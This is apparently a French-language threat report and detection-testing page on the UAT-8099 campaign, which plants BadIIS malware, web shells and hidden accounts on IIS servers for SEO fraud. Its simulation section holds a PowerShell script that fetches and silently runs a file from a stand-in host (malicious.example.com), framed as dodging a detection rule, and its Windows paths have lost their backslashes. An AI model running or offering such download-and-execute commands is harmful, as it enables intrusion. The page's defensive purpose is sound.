Dissection de UAT-8099 : Nouveaux mécanismes de persistance et focus régional
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Cisco Talos rapporte une nouvelle campagne UAT-8099 ciblant des serveurs web IIS vulnérables en Asie. L’acteur déploie des variantes personnalisées de BadIIS qui incluent des identifiants régionaux et s’appuie sur des web shells, PowerShell, et l’outil de contrôle à distance GotoHTTP pour un contrôle ultérieur. La persistance s’est étendue à la création de comptes locaux cachés et à l’utilisation d’utilitaires de red teaming légitimes pour s’intégrer à l’activité administrative. La méthode se chevauche avec l’opération WEBJACK antérieure et semble se concentrer sur la fraude SEO affectant les sites en Thaïlande et au Vietnam.
Enquête
Talos a examiné la télémétrie DNS, les hachages de fichiers, et les scripts malveillants pour reconstruire la chaîne d’intrusion. Les analystes ont observé des web shells combinés à des outils tels que SoftEther VPN et EasyTier, ainsi qu’un ensemble d’utilitaires sur mesure incluant Sharp4RemoveLog, CnCrypt Protect, OpenArk64, et GotoHTTP. Deux souches de BadIIS adaptées aux régions — IISHijack et asdSearchEngine — ont été rétro-ingénierées, révélant des codes de pays intégrés en dur, un filtrage sélectif des requêtes et une configuration C2 chiffrée par XOR. Une version ELF de BadIIS avec des domaines C2 correspondants a également été identifiée sur VirusTotal.
Atténuation
Corrigez les vulnérabilités IIS exposées, renforcez l’application du pare-feu pour les applications web, et surveillez la création de comptes locaux cachés (par exemple, admin$, mysql$, et similaires). Détectez les activités PowerShell qui téléchargent ou lancent GotoHTTP et bloquez la communication sortante vers les domaines C2 connus. Utilisez des contrôles de point d’extrémité pour alerter sur l’exécution des utilitaires personnalisés identifiés et sur les modifications inattendues au sein des répertoires du serveur web.
Réponse
Si des indicateurs sont trouvés, isolez le serveur, supprimez les web shells et effacez les comptes cachés. Conservez les binaires BadIIS et les scripts associés pour une analyse judiciaire, et effectuez un examen complet du trafic réseau pour identifier l’activité C2. Restaurez à partir d’une sauvegarde connue comme étant bonne et renforcez la configuration IIS pour éviter la réinfection.
Flux d’attaque
Détections
Téléchargement ou Chargement via PowerShell (via cmdline)
Voir
Fichiers suspects dans le profil utilisateur public (via file_event)
Voir
Possibilité d’énumération de comptes ou de groupes (via cmdline)
Voir
Détection de l’exécution de commandes PowerShell pour le déploiement de GotoHTTP [Windows Powershell]
Voir
Détection de logiciels malveillants BadIIS ciblant les serveurs IIS pour la fraude SEO [Serveur Web]
Voir
Exécution de simulation
Prérequis : La Vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.
-
Narrative & Commandes d’attaque :
Un attaquant a acquis un point d’appui initial sur un serveur web compromis. Ils créent un répertoire caché appelébad_iissous la racine web IIS et déposent un binaire de web‑shell nommé de manière personnaliséeshell_xyz.exe(en évitant la chaîne littérale “web shell”). En utilisant le shell, ils exécutent ultérieurement un payload PowerShell qui télécharge le binaire GotoHTTP, le renomme ensvc_update.exe, et l’exécute. Étant donné que les noms d’image sont obfusqués, lesImage|contientvérifications de la règle originale sont contournées, tandis que la ligne de commande contient toujours “PowerShell”. -
Script de test de régression : Ce script reproduit les étapes décrites et génère une télémétrie similaire à l’attaque BadIIS sans utiliser les chaînes exactes que la règle surveille.
# Simulation de BadIIS – version obfusquée $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Déployer un web‑shell renommé (copie binaire d'un exe bénin connu) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simuler le web‑shell invoquant PowerShell pour télécharger GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Exécuter le payload PowerShell via le web‑shell renommé (création de processus) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "Simulation de BadIIS exécutée." -
Commandes de nettoyage : Supprime les artefacts plantés et restaure l’environnement.
# Nettoyage des artefacts de la simulation BadIIS $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Nettoyage terminé."